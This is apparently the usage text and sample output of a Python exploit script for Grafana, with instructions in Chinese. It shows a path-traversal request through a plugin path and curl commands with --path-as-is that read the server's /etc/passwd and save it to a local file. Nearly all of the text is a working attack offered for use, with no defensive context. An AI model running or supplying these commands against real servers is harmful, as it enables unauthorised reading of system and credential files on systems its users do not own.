usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: the following arguments are required: -H/--host
示例:python3 grafana-exploit.py --host <target_host>
如果成功读取任意文件,将显示请求 URL 和 curl 命令
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
因此,如果你想下载文件,请按上述方式执行
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd